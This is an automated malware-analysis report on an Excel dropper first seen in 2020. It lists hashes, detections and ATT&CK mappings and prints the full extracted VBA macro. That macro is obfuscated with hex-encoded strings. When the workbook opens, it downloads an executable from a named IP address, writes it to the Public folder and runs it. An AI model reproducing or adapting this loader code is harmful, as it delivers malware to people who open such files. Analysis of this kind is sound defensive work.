Office (OOXML) malware analysis — malicious · 717c5cb1406d8e04

MALICIOUS

Office (OOXML)

78.6 KB First seen: 2020-09-07

MD5: c99c776c98829c31180457219284bb61 SHA-1: ac3d1a07b93ef5ae201a6bd90814dcd2ecd0bc38 SHA-256: 717c5cb1406d8e04f9853709c6e0d3e08c27c2349e3fd63e7269946b1424b2c3

310 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1105 Ingress Tool Transfer

The file contains a Workbook_Open VBA macro that is obfuscated and designed to download and execute a payload. The macro uses CreateObject to instantiate an object for HTTP communication and then saves the response to disk as an executable file. The reconstructed URL for the payload download is "http://185.172.110.210/focm/artwokg.exe". This behavior is indicative of a dropper malware.

Heuristics 7

ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
qvplliysnqidjiehbbnwzzjybtklnoffdrqqppvralftoqhlbxskrraqlrjsxmeykdasrosmgvvnuqjkmzjpwunlrzexfdtoghil.write uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz.responseBody
```
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
  Range("A6:J13").Select
Set uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
```

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

  Range("A6:J13").Select
Set uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))

Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6602 bytes
SHA-256: `07a3a12d864e2748b2fc6b64b8dababfe26c0097c3a8a1ace87764ed70fa58f5`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Range("A6:J13").Select tbktdvegtheregstmabkhqtcnjazmmduhrpurrocdufzzbkmdhdkjlzdihguveuhekkmqycumzhnktdlynwejslvsmmjlthyzyup"68 74 74 70 3A 2F 2F 31 38 35 2E 31 37 32 2E 31 31 30 2E 32 31 30 2F 66 6F 63 6D 2F 61 72 74 77 6F 6B 67 2E 65 78 65" Selection.Font.ColorIndex = 3 End Sub Public Sub tbktdvegtheregstmabkhqtcnjazmmduhrpurrocdufzzbkmdhdkjlzdihguveuhekkmqycumzhnktdlynwejslvsmmjlthyzyup (nfcttjgupjvywgvbfkuuimhdxatcnjtzgauoytkqfnbrrmqgnwpkqogbxywtqdhfpvsvmhcmzeovkqmkjmpruiirusqawrabgwbv As String) Dim uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz Range("A6:J13").Select Dim qvplliysnqidjiehbbnwzzjybtklnoffdrqqppvralftoqhlbxskrraqlrjsxmeykdasrosmgvvnuqjkmzjpwunlrzexfdtoghil Range("A6:J13").Select Dim qptmfgevvmwvizgycpcqpoaskvgdchhnhxuwfwkppspecipgxulreswbobckzbtofjokejtffmaxzwqbfaghwqipbshduaqoybzs Range("A6:J13").Select Set uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Range("A6:J13").Select Set uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50")) Set qvplliysnqidjiehbbnwzzjybtklnoffdrqqppvralftoqhlbxskrraqlrjsxmeykdasrosmgvvnuqjkmzjpwunlrzexfdtoghil = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("41 44 4f 44 42 2e 53 74 72 65 61 6d")) Set qptmfgevvmwvizgycpcqpoaskvgdchhnhxuwfwkppspecipgxulreswbobckzbtofjokejtffmaxzwqbfaghwqipbshduaqoybzs = CreateObject(rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("57 53 63 72 69 70 74 2e 53 68 65 6c 6c")) thvrbktktomvbipwfqvviejsbzcjmafhddqgabnoklphiudfqbsvydfoxcpbijysiesysiwddglxockgvwtlijiaxbjxmlgbmxyd = rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa(nfcttjgupjvywgvbfkuuimhdxatcnjtzgauoytkqfnbrrmqgnwpkqogbxywtqdhfpvsvmhcmzeovkqmkjmpruiirusqawrabgwbv) cfnheosrshaurigmqnjzwsarzyrraklrehdqjlguqqhpaofdftkznyhkevigwarhwipkfpdehpifkkqksomhzlegatlndzxqzatr = rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 71 6B 61 69 71 62 64 72 74 2e 65 78 65") yuypqfsxqcaufxniokilejkmdpbhssfkrymxqwqttgpysrhfmocprhnpkmlaekexwqchlpsrtorytmtmivvdppsjlxndlppicsbb = rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 71 6B 61 69 71 62 64 72 74 2e 65 78 65") uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz.Open chr(71) + chr(69) + chr(84), thvrbktktomvbipwfqvviejsbzcjmafhddqgabnoklphiudfqbsvydfoxcpbijysiesysiwddglxockgvwtlijiaxbjxmlgbmxyd, False uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz.send qvplliysnqidjiehbbnwzzjybtklnoffdrqqppvralftoqhlbxskrraqlrjsxmeykdasrosmgvvnuqjkmzjpwunlrzexfdtoghil.Type = 1 qvplliysnqidjiehbbnwzzjybtklnoffdrqqppvralftoqhlbxskrraqlrjsxmeykdasrosmgvvnuqjkmzjpwunlrzexfdtoghil.Open qvplliysnqidjiehbbnwzzjybtklnoffdrqqppvralftoqhlbxskrraqlrjsxmeykdasrosmgvvnuqjkmzjpwunlrzexfdtoghil.write uvugtclmzkqhlljdoplgnbatqbpidnpoorqosjxsxvrjcjplhwnqlvhsuaprmdimvcstvvlersirkrrhmebhzzdsjxtrugfumeoz.responseBody qvplliysnqidjiehbbnwzzjybtklnoffdrqqppvralftoqhlbxskrraqlrjsxmeykdasrosmgvvnuqjkmzjpwunlrzexfdtoghil.savetofile cfnheosrshaurigmqnjzwsarzyrraklrehdqjlguqqhpaofdftkznyhkevigwarhwipkfpdehpifkkqksomhzlegatlndzxqzatr, 2 qptmfgevvmwvizgycpcqpoaskvgdchhnhxuwfwkppspecipgxulreswbobckzbtofjokejtffmaxzwqbfaghwqipbshduaqoybzs.Run yuypqfsxqcaufxniokilejkmdpbhssfkrymxqwqttgpysrhfmocprhnpkmlaekexwqchlpsrtorytmtmivvdppsjlxndlppicsbb End Sub Public Function rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa(ByVal uebnbfmrrzcslbezulrpayjlbplfvlyxxxgbysgrerxbqpssvrtnjkrvuqlltgvfbevnudaceakjbhvmxtjesknmflghgvyxvral As String) As String Dim uexsqrjjziunuzoaxrnqqiijxsvjcnojhjrsvrnabenxrsnhhxzdekvmwovxwzhltkgkivegdmomulsefobenkfwofvgwpebwbdg As String Dim mczlttarvirlwqsiydyiejwdzykninqthlrdoqltkoagnkkfxwdtdubdfwlujmjisyekzotiseyqipppofpljxpmjoxseqkxfsno As String Dim gzfjdvaywluqgwgewxyvirblradcualpcbjozgiowrpythmijfbhusfoyuscryevzenfnseqojyrbcsjnvsozdvjvuqfofxxmuzo As Long For gzfjdvaywluqgwgewxyvirblradcualpcbjozgiowrpythmijfbhusfoyuscryevzenfnseqojyrbcsjnvsozdvjvuqfofxxmuzo = 1 To Len(uebnbfmrrzcslbezulrpayjlbplfvlyxxxgbysgrerxbqpssvrtnjkrvuqlltgvfbevnudaceakjbhvmxtjesknmflghgvyxvral)Step 3 uexsqrjjziunuzoaxrnqqiijxsvjcnojhjrsvrnabenxrsnhhxzdekvmwovxwzhltkgkivegdmomulsefobenkfwofvgwpebwbdg = Chr$(Val("&H" & Mid$(uebnbfmrrzcslbezulrpayjlbplfvlyxxxgbysgrerxbqpssvrtnjkrvuqlltgvfbevnudaceakjbhvmxtjesknmflghgvyxvral, gzfjdvaywluqgwgewxyvirblradcualpcbjozgiowrpythmijfbhusfoyuscryevzenfnseqojyrbcsjnvsozdvjvuqfofxxmuzo, 2))) mczlttarvirlwqsiydyiejwdzykninqthlrdoqltkoagnkkfxwdtdubdfwlujmjisyekzotiseyqipppofpljxpmjoxseqkxfsno = mczlttarvirlwqsiydyiejwdzykninqthlrdoqltkoagnkkfxwdtdubdfwlujmjisyekzotiseyqipppofpljxpmjoxseqkxfsno & uexsqrjjziunuzoaxrnqqiijxsvjcnojhjrsvrnabenxrsnhhxzdekvmwovxwzhltkgkivegdmomulsefobenkfwofvgwpebwbdg Next gzfjdvaywluqgwgewxyvirblradcualpcbjozgiowrpythmijfbhusfoyuscryevzenfnseqojyrbcsjnvsozdvjvuqfofxxmuzo rxvffixjemsoeuwhipxlzpuelsjtsjnmynuasqzbvbqfuxfqxa = mczlttarvirlwqsiydyiejwdzykninqthlrdoqltkoagnkkfxwdtdubdfwlujmjisyekzotiseyqipppofpljxpmjoxseqkxfsno End Function Attribute VB_Name = "oauwwlvdqovxszsipahhytwoc" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	7680 bytes
SHA-256: `e6fea5c1041b70757d3c530f35e5e8065744d5c263465c14182471ab07b74c0b`
Detection ClamAV: Xls.Dropper.EPPlus-9802867-2 Obfuscation or payload: likely 139 of 219 identifiers look randomly generated (e.g. 'C7ED05630CF4DCF4D30B3D04D7342EB6C8CA8400') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.